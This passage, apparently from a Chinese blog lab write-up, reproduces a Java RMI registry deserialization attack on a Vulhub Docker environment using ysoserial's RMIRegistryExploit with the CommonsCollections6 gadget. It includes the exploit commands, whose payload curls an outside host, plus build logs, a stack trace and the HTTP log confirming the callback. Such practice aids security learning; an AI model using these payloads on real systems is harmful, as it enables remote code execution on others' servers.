---> be0e1ec1469d
Step 10/12 : COPY src/client.policy /root/
---> Using cache
---> 9baa04a82cb7
Step 11/12 : EXPOSE 1099
---> Using cache
---> eb629a8ecc8a
Step 12/12 : CMD ["bash", "-c", "java -cp train-1.0-SNAPSHOT-all.jar -Djdk.xml.enableTemplatesImplDeserialization=true -Djava.rmi.server.hostname=${RMIIP} -Djava.security.manager -Djava.security.policy=/root/client.policy train.rmi.Server"]
---> Using cache
---> 77e422e51645
Successfully built 77e422e51645
Successfully tagged rmi-registry-bind-deserialization_rmi:latest
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose build
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
Building rmi
Step 1/12 : FROM maven:3-jdk-8 AS builder
---> cf7c6bc6ea12
Step 2/12 : LABEL MAINTAINER="phithon <root@leavesongs.com>"
---> Using cache
---> 828f56e5b565
Step 3/12 : COPY ./src/code/ /usr/src/
---> Using cache
---> 004e82609029
Step 4/12 : WORKDIR /usr/src
---> Using cache
---> c9f14a7aef0f
Step 5/12 : RUN cd /usr/src; mvn -U clean package -Dmaven.test.skip=true --settings settings.xml
---> Using cache
---> 27cbdf63515c
Step 6/12 : FROM openjdk:8u111-jre
---> e44d62cf8862
Step 7/12 : WORKDIR /root
---> Using cache
---> 313347366d80
Step 8/12 : ENV RMIIP="127.0.0.1"
---> Using cache
---> 90e0b68b0433
Step 9/12 : COPY --from=builder /usr/src/target/train-1.0-SNAPSHOT-all.jar /root/train-1.0-SNAPSHOT-all.jar
---> Using cache
---> be0e1ec1469d
Step 10/12 : COPY src/client.policy /root/
---> Using cache
---> 9baa04a82cb7
Step 11/12 : EXPOSE 1099
---> Using cache
---> eb629a8ecc8a
Step 12/12 : CMD ["bash", "-c", "java -cp train-1.0-SNAPSHOT-all.jar -Djdk.xml.enableTemplatesImplDeserialization=true -Djava.rmi.server.hostname=${RMIIP} -Djava.security.manager -Djava.security.policy=/root/client.policy train.rmi.Server"]
---> Using cache
---> 77e422e51645
Successfully built 77e422e51645
Successfully tagged rmi-registry-bind-deserialization_rmi:latest
1
2
3
4
5
root@VM-0-12-ubuntu:/home/ubuntu/vulhub-master/java/rmi-registry-bind-deserialization# docker-compose run -e RMIIP=xx.xx.xx.xx -p 1099:1099 rmi
/usr/local/lib/python2.7/dist-packages/paramiko/transport.py:33: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
Creating network "rmi-registry-bind-deserialization_default" with the default driver
Hello obj bound

利用

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
F:\Tools\WEB\Java-Tools
> java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.RMIRegistryExploit xx.xx.xx.xx 1099 CommonsCollections6 "curl http://xx.xx.xx.xx:8000/exp"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
java.rmi.AccessException: Registry.Registry.bind disallowed; origin /125.84.158.133 is non-local host
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:421)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:276)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:253)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:379)
at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /125.84.158.133 is non-local host
at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:287)
at sun.rmi.registry.RegistryImpl.bind(RegistryImpl.java:179)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:411)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:272)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

成功执行

1
2
3
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
121.4.65.44 - - [06/Nov/2021 14:20:15] code 404, message File not found
121.4.65.44 - - [06/Nov/2021 14:20:15] "GET /exp HTTP/1.1" 404 -

小结

本来是想多复现几个场景的,但是由于环境原因,实现起来比较复杂,我的目的就只是练习使用ysoserial工具,就懒得搞了,而且耽误时间并且意义也不大,那么学习java反序列就告一段落,这只是刚刚开始,后边还会陆陆续续进行学习。